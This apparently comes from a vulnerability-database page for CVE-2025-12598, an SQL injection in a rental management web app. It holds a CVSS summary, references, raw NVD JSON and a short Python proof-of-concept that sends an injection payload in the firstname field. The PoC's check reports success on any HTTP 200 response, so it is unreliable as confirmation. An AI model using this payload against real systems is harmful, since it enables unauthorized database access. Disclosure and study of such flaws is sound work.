Security Vulnerability Report
中文
CVE-2025-12598 CVSS 4.7 MEDIUM

CVE-2025-12598

Published: 2025-11-02 12:15:35
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in SourceCodester Best House Rental Management System 1.0. Affected by this issue is the function save_tenant of the file /admin_class.php. Executing manipulation of the argument firstname can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used. Other parameters might be affected as well.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mayurik:best_house_rental_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Best House Rental Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12598 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Vulnerability: SQL Injection in /admin_class.php save_tenant function target_url = "http://target-site.com/admin_class.php" # Malicious payload for SQL injection in firstname parameter payload = "' OR '1'='1" data = { 'action': 'save_tenant', 'firstname': payload, 'lastname': 'Test', 'email': '[email protected]', 'contact': '1234567890', 'address': 'Test Address' } try: print("[*] Sending SQL injection payload...") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if 'error' not in response.text.lower() or response.status_code == 200: print("[+] Possible vulnerability confirmed!") else: print("[-] Response indicates potential SQL error") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(1)

References

Raw JSON Data

JSON
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Other parameters might be affected as well."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mayurik:best_house_rental_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "A7D6CEC7-5EE1-4052-B0E2-093C40418760"}]}]}], "references": [{"url": "https://github.com/321190176/Best-house-rental-management-system-2/blob/main/report.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.330893", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.330893", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.678086", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/321190176/Best-house-rental-management-system-2/blob/main/report.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}